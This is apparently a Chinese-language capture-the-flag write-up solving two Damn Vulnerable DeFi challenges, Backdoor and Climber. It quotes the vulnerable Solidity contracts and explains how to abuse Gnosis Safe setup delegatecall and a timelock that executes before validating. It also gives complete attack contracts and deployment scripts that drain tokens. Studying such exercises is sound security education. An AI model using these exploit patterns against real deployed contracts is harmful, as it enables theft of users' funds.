Code WalletRegistry.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "solady/src/auth/Ownable.sol"; import "solady/src/utils/SafeTransferLib.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol"; import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol"; /** * @title WalletRegistry * @notice A registry for Gnosis Safe wallets. * When known beneficiaries deploy and register their wallets, the registry sends some Damn Valuable Tokens to the wallet. * @dev The registry has embedded verifications to ensure only legitimate Gnosis Safe wallets are stored. * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract WalletRegistry is IProxyCreationCallback, Ownable { uint256 private constant EXPECTED_OWNERS_COUNT = 1; uint256 private constant EXPECTED_THRESHOLD = 1; uint256 private constant PAYMENT_AMOUNT = 10 ether; address public immutable masterCopy; address public immutable walletFactory; IERC20 public immutable token; mapping(address => bool) public beneficiaries; // owner => wallet mapping(address => address) public wallets; error NotEnoughFunds(); error CallerNotFactory(); error FakeMasterCopy(); error InvalidInitialization(); error InvalidThreshold(uint256 threshold); error InvalidOwnersCount(uint256 count); error OwnerIsNotABeneficiary(); error InvalidFallbackManager(address fallbackManager); constructor( address masterCopyAddress, address walletFactoryAddress, address tokenAddress, address[] memory initialBeneficiaries ) { _initializeOwner(msg.sender); masterCopy = masterCopyAddress; walletFactory = walletFactoryAddress; token = IERC20(tokenAddress); for (uint256 i = 0; i < initialBeneficiaries.length;) { unchecked { beneficiaries[initialBeneficiaries[i]] = true; ++i; } } } function addBeneficiary(address beneficiary) external onlyOwner { beneficiaries[beneficiary] = true; } /** * @notice Function executed when user creates a Gnosis Safe wallet via GnosisSafeProxyFactory::createProxyWithCallback * setting the registry's address as the callback. */ function proxyCreated(GnosisSafeProxy proxy, address singleton, bytes calldata initializer, uint256) external override { if (token.balanceOf(address(this)) < PAYMENT_AMOUNT) { // fail early revert NotEnoughFunds(); } address payable walletAddress = payable(proxy); // Ensure correct factory and master copy if (msg.sender != walletFactory) { revert CallerNotFactory(); } if (singleton != masterCopy) { revert FakeMasterCopy(); } // Ensure initial calldata was a call to `GnosisSafe::setup` if (bytes4(initializer[:4]) != GnosisSafe.setup.selector) { revert InvalidInitialization(); } // Ensure wallet initialization is the expected uint256 threshold = GnosisSafe(walletAddress).getThreshold(); if (threshold != EXPECTED_THRESHOLD) { revert InvalidThreshold(threshold); } address[] memory owners = GnosisSafe(walletAddress).getOwners(); if (owners.length != EXPECTED_OWNERS_COUNT) { revert InvalidOwnersCount(owners.length); } // Ensure the owner is a registered beneficiary address walletOwner; unchecked { walletOwner = owners[0]; } if (!beneficiaries[walletOwner]) { revert OwnerIsNotABeneficiary(); } address fallbackManager = _getFallbackManager(walletAddress); if (fallbackManager != address(0)) revert InvalidFallbackManager(fallbackManager); // Remove owner as beneficiary beneficiaries[walletOwner] = false; // Register the wallet under the owner's address wallets[walletOwner] = walletAddress; // Pay tokens to the newly created wallet SafeTransferLib.safeTransfer(address(token), walletAddress, PAYMENT_AMOUNT); } function _getFallbackManager(address payable wallet) private view returns (address) { return abi.decode( GnosisSafe(wallet).getStorageAt( uint256(keccak256("fallback_manager.handler.address")), 0x20 ), (address) ); } }
Analysis 这道题是让我们从注册表中拿到所有资金,而只有题目给出的四个注册人在注册并部署钱包成功后才会获得奖金,而我们应该如何获得奖金,可以先看看题目合约的函数。
我们看看proxyCreated()
函数,其中要求调用者必须是walletFactory
,并且传输的calldata
的前四个字节必须是GnosisSafe
合约中setup()
函数的选择器。这时我们就可以先看看GnosisSafeProxyFactory
合约如何去调用这个函数。
我们看到要想用walletFactory
去调用proxyCreated()
函数就要调用这里的createProxyWithCallback()
函数,这时我们可以看到createProxyWithCallback()
函数中调用的createProxyWithNonce()
函数会调用我们传入的calldata
,而由于满足了proxyCreated()
这个函数中的条件,我们会调用GnosisSafe
合约中的setup()
函数,而在这个函数里我们可以看到setupModules()
函数,这个函数会利用delegatecall()
函数去调用目标地址的函数,由此思路就出来了,我们构造一个calldata
,在其中to
和data
的参数位置,放置一个攻击合约的地址,并在其中写一个approve
函数,然后在data
中调用它,在我们以受益人的身份注册部署钱包获得资金后,我们就可以将其拿走。
而题目要求我们交易次数为1
,我们只需要在构造函数中完成所有操作,即可在部署函数的时候完成,这样我们的交易次数就为1
,而要在构造函数中执行,我们就不能将授权函数写在一个合约里。
Attack WalletRegistryAttack.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol"; import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol"; import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxy.sol"; import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol"; import "./WalletRegistry.sol"; import "./WalletRegistryAttack2.sol"; import "../DamnValuableToken.sol"; contract WalletRegistryAttack{ address[] users; WalletRegistry target; GnosisSafeProxyFactory factory; GnosisSafe mastercopy; DamnValuableToken token; constructor(address _addr1,address _addr2,address _addr3,address _addr4,address _addr5,address _addr6,address payable _addr7,address _addr8,address player){ WalletRegistryAttack2 attack2 = new WalletRegistryAttack2(); users = new address[](4); users[0] = _addr1; users[1] = _addr2; users[2] = _addr3; users[3] = _addr4; target = WalletRegistry(_addr5); factory = GnosisSafeProxyFactory(_addr6); mastercopy= GnosisSafe(_addr7); token = DamnValuableToken(_addr8); for(uint256 i=0;i<4;i++){ address[] memory owner = new address[](1); owner[0]=users[i]; bytes memory initializer = abi.encodeWithSelector( mastercopy.setup.selector, owner, 1, address(attack2), abi.encodeWithSelector(attack2.tokenapprove.selector,address(token),address(this)), address(0), address(0), uint256(0), address(0) ); GnosisSafeProxy proxy = factory.createProxyWithCallback(address(mastercopy),initializer,1,IProxyCreationCallback(target)); token.transferFrom(address(proxy),player,10 ether); } } }
WalletRegistryAttack2.sol 1 2 3 4 5 6 7 8 9 10 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../DamnValuableToken.sol"; contract WalletRegistryAttack2{ function tokenapprove(address _token,address user) public{ DamnValuableToken(_token).approve(user,10 ether); } }
js 1 const Attack = await (await ethers.getContractFactory ('WalletRegistryAttack' , player)).deploy (users[0 ],users[1 ],users[2 ],users[3 ],walletRegistry.address ,walletFactory.address ,masterCopy.address ,token.address ,player.address , {gasLimit : 30000000 });
Challenge #12 - Climber There’s a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern .
The owner of the vault, currently a timelock contract, can withdraw a very limited amount of tokens every 15 days.
On the vault there’s an additional role with powers to sweep all tokens in case of an emergency.
On the timelock, only an account with a “Proposer” role can schedule actions that can be executed 1 hour later.
To pass this challenge, take all tokens from the vault.
Code ClimberConstants.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* ########################## */ /* ### TIMELOCK CONSTANTS ### */ /* ########################## */ // keccak256("ADMIN_ROLE"); bytes32 constant ADMIN_ROLE = 0xa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775; // keccak256("PROPOSER_ROLE"); bytes32 constant PROPOSER_ROLE = 0xb09aa5aeb3702cfd50b6b62bc4532604938f21248a27a1d5ca736082b6819cc1; uint256 constant MAX_TARGETS = 256; uint256 constant MIN_TARGETS = 0; uint256 constant MAX_DELAY = 14 days; /* ####################### */ /* ### VAULT CONSTANTS ### */ /* ####################### */ uint256 constant WITHDRAWAL_LIMIT = 1 ether; uint256 constant WAITING_PERIOD = 15 days;
ClimberErrors.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; error CallerNotTimelock(); error NewDelayAboveMax(); error NotReadyForExecution(bytes32 operationId); error InvalidTargetsCount(); error InvalidDataElementsCount(); error InvalidValuesCount(); error OperationAlreadyKnown(bytes32 operationId); error CallerNotSweeper(); error InvalidWithdrawalAmount(); error InvalidWithdrawalTime();
ClimberTimelock.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "./ClimberTimelockBase.sol"; import {ADMIN_ROLE, PROPOSER_ROLE, MAX_TARGETS, MIN_TARGETS, MAX_DELAY} from "./ClimberConstants.sol"; import { InvalidTargetsCount, InvalidDataElementsCount, InvalidValuesCount, OperationAlreadyKnown, NotReadyForExecution, CallerNotTimelock, NewDelayAboveMax } from "./ClimberErrors.sol"; /** * @title ClimberTimelock * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract ClimberTimelock is ClimberTimelockBase { using Address for address; /** * @notice Initial setup for roles and timelock delay. * @param admin address of the account that will hold the ADMIN_ROLE role * @param proposer address of the account that will hold the PROPOSER_ROLE role */ constructor(address admin, address proposer) { _setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE); _setRoleAdmin(PROPOSER_ROLE, ADMIN_ROLE); _setupRole(ADMIN_ROLE, admin); _setupRole(ADMIN_ROLE, address(this)); // self administration _setupRole(PROPOSER_ROLE, proposer); delay = 1 hours; } function schedule( address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt ) external onlyRole(PROPOSER_ROLE) { if (targets.length == MIN_TARGETS || targets.length >= MAX_TARGETS) { revert InvalidTargetsCount(); } if (targets.length != values.length) { revert InvalidValuesCount(); } if (targets.length != dataElements.length) { revert InvalidDataElementsCount(); } bytes32 id = getOperationId(targets, values, dataElements, salt); if (getOperationState(id) != OperationState.Unknown) { revert OperationAlreadyKnown(id); } operations[id].readyAtTimestamp = uint64(block.timestamp) + delay; operations[id].known = true; } /** * Anyone can execute what's been scheduled via `schedule` */ function execute(address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt) external payable { if (targets.length <= MIN_TARGETS) { revert InvalidTargetsCount(); } if (targets.length != values.length) { revert InvalidValuesCount(); } if (targets.length != dataElements.length) { revert InvalidDataElementsCount(); } bytes32 id = getOperationId(targets, values, dataElements, salt); for (uint8 i = 0; i < targets.length;) { targets[i].functionCallWithValue(dataElements[i], values[i]); unchecked { ++i; } } if (getOperationState(id) != OperationState.ReadyForExecution) { revert NotReadyForExecution(id); } operations[id].executed = true; } function updateDelay(uint64 newDelay) external { if (msg.sender != address(this)) { revert CallerNotTimelock(); } if (newDelay > MAX_DELAY) { revert NewDelayAboveMax(); } delay = newDelay; } }
ClimberTimelockBase.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/AccessControl.sol"; /** * @title ClimberTimelockBase * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ abstract contract ClimberTimelockBase is AccessControl { // Possible states for an operation in this timelock contract enum OperationState { Unknown, Scheduled, ReadyForExecution, Executed } // Operation data tracked in this contract struct Operation { uint64 readyAtTimestamp; // timestamp at which the operation will be ready for execution bool known; // whether the operation is registered in the timelock bool executed; // whether the operation has been executed } // Operations are tracked by their bytes32 identifier mapping(bytes32 => Operation) public operations; uint64 public delay; function getOperationState(bytes32 id) public view returns (OperationState state) { Operation memory op = operations[id]; if (op.known) { if (op.executed) { state = OperationState.Executed; } else if (block.timestamp < op.readyAtTimestamp) { state = OperationState.Scheduled; } else { state = OperationState.ReadyForExecution; } } else { state = OperationState.Unknown; } } function getOperationId( address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt ) public pure returns (bytes32) { return keccak256(abi.encode(targets, values, dataElements, salt)); } receive() external payable {} }
ClimberVault.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "solady/src/utils/SafeTransferLib.sol"; import "./ClimberTimelock.sol"; import {WITHDRAWAL_LIMIT, WAITING_PERIOD} from "./ClimberConstants.sol"; import {CallerNotSweeper, InvalidWithdrawalAmount, InvalidWithdrawalTime} from "./ClimberErrors.sol"; /** * @title ClimberVault * @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner. * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable { uint256 private _lastWithdrawalTimestamp; address private _sweeper; modifier onlySweeper() { if (msg.sender != _sweeper) { revert CallerNotSweeper(); } _; } /// @custom:oz-upgrades-unsafe-allow constructor constructor() { _disableInitializers(); } function initialize(address admin, address proposer, address sweeper) external initializer { // Initialize inheritance chain __Ownable_init(); __UUPSUpgradeable_init(); // Deploy timelock and transfer ownership to it transferOwnership(address(new ClimberTimelock(admin, proposer))); _setSweeper(sweeper); _updateLastWithdrawalTimestamp(block.timestamp); } // Allows the owner to send a limited amount of tokens to a recipient every now and then function withdraw(address token, address recipient, uint256 amount) external onlyOwner { if (amount > WITHDRAWAL_LIMIT) { revert InvalidWithdrawalAmount(); } if (block.timestamp <= _lastWithdrawalTimestamp + WAITING_PERIOD) { revert InvalidWithdrawalTime(); } _updateLastWithdrawalTimestamp(block.timestamp); SafeTransferLib.safeTransfer(token, recipient, amount); } // Allows trusted sweeper account to retrieve any tokens function sweepFunds(address token) external onlySweeper { SafeTransferLib.safeTransfer(token, _sweeper, IERC20(token).balanceOf(address(this))); } function getSweeper() external view returns (address) { return _sweeper; } function _setSweeper(address newSweeper) private { _sweeper = newSweeper; } function getLastWithdrawalTimestamp() external view returns (uint256) { return _lastWithdrawalTimestamp; } function _updateLastWithdrawalTimestamp(uint256 timestamp) private { _lastWithdrawalTimestamp = timestamp; } // By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade function _authorizeUpgrade(address newImplementation) internal override onlyOwner {} }
这道题对我来说感觉难度很大,但是看下来就会发现解题的逻辑很简单。
我们先看ClimberVault
合约,这里面一个withdraw()
函数,但是每15
天只能拿走1 ether
,而sweepFunds()
可以一次性拿走所有代币,但是只有_sweeper
才能拿走,但是这是个升级合约,那我们能不能通过升级合约来升级成自己写的合约将所有代币掏空呢,这时我们注意到这段注释Upgrades are to be triggered by the owner.
,想要升级合约必须要是合约的所有者,那么这个合约的所有者是谁呢?transferOwnership(address(new ClimberTimelock(admin, proposer)));
很显然是ClimberTimelock
合约,因此我们将目光放在ClimberTimelock
合约上。
我们看到这个合约的时候发现在execute()
函数中可以进行call
调用,我们可以想办法在这里让它调用transferOwnership()
函数来将所有者更改成我们。接下来的目的就是如何去调用这个函数,我们看到这个函数有这段限制getOperationState(id) != OperationState.ReadyForExecution
,而要想实现它我们需要调用schedule()
这个函数,但这个函数有onlyRole(PROPOSER_ROLE)
这个权限限制。那么我们是不是没有办法了呢,并不是,因为在execute()
函数中有一个明显的逻辑错误,那就是先调用后验证,那么我们就可以先上车后补票,用execute()
来将我们添加到权限,再调用schedule()
函数就好了,还需要注意的是在shedule()
这个函数中有这段代码operations[id].readyAtTimestamp = uint64(block.timestamp) + delay;
来要求延时操作防止我们通过execute()
来调用它,不过我们可以通过execute()
来调用updateDelay()
函数来更新延迟时间,之后就是更改owner
,然后升级合约,最后掏空所有代币即可。
Attack ClimberVaultAttack.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "../DamnValuableToken.sol"; import "./ClimberVault.sol"; import "./ClimberTimelock.sol"; contract ClimberVaultAttack{ ClimberTimelock timelock; address vaultProxyAddress; address player; DamnValuableToken token; constructor(address payable _timelock,address _vaultProxyAddress,address _player,address _token){ timelock = ClimberTimelock(_timelock); vaultProxyAddress = _vaultProxyAddress; token = DamnValuableToken(_token); player = _player; } function attack() public returns (address[] memory, uint256[] memory, bytes[] memory){ address[] memory targets = new address[](4); uint256[] memory values = new uint256[](4); bytes[] memory dataElements = new bytes[](4); targets[0] = address(timelock); values[0] = 0; dataElements[0] = abi.encodeWithSelector( ClimberTimelock.updateDelay.selector, 0 ); targets[1] = address(vaultProxyAddress); values[1] = 0; dataElements[1] = abi.encodeWithSelector( OwnableUpgradeable.transferOwnership.selector, player ); targets[2] = address(timelock); values[2] = 0; dataElements[2] = abi.encodeWithSelector( AccessControl.grantRole.selector, keccak256("PROPOSER_ROLE"), address(this) ); targets[3] = address(this); values[3] = 0; dataElements[3] = abi.encodeWithSelector( ClimberVaultAttack.scheduleattack.selector ); return (targets, values, dataElements); } function executeattack() external { ( address[] memory targets, uint256[] memory values, bytes[] memory dataElements ) = attack(); timelock.execute(targets, values, dataElements, 0); } function scheduleattack() external { ( address[] memory targets, uint256[] memory values, bytes[] memory dataElements ) = attack(); timelock.schedule(targets, values, dataElements, 0); } } // once attacker has ownership of ClimberVault, they will upgrade it to // this version which modifies sweepFunds() to allow owner to drain tokens contract ClimberVaultAttackUpgrade is Initializable, OwnableUpgradeable, UUPSUpgradeable { // must preserve storage layout or upgrade will fail uint256 private _lastWithdrawalTimestamp; address private _sweeper; /// @custom:oz-upgrades-unsafe-allow constructor constructor() { _disableInitializers(); } function initialize(address, address, address) external initializer { // Initialize inheritance chain __Ownable_init(); __UUPSUpgradeable_init(); } // changed to allow only owner to drain funds function withdraw(address token) external { SafeTransferLib.safeTransfer(token, msg.sender, IERC20(token).balanceOf(address(this))); } // prevent anyone but attacker from further upgrades function _authorizeUpgrade(address) internal override onlyOwner {} }
js 1 2 3 4 5 6 7 const Attack = await (await ethers.getContractFactory ('ClimberVaultAttack' , player)).deploy (timelock.address ,vault.address ,player.address ,token.address ); await Attack .connect (player).executeattack (); upgradedClimberVault = await upgrades.upgradeProxy ( vault.address , await ethers.getContractFactory ("ClimberVaultAttackUpgrade" , player)); await upgradedClimberVault.connect (player).withdraw (token.address );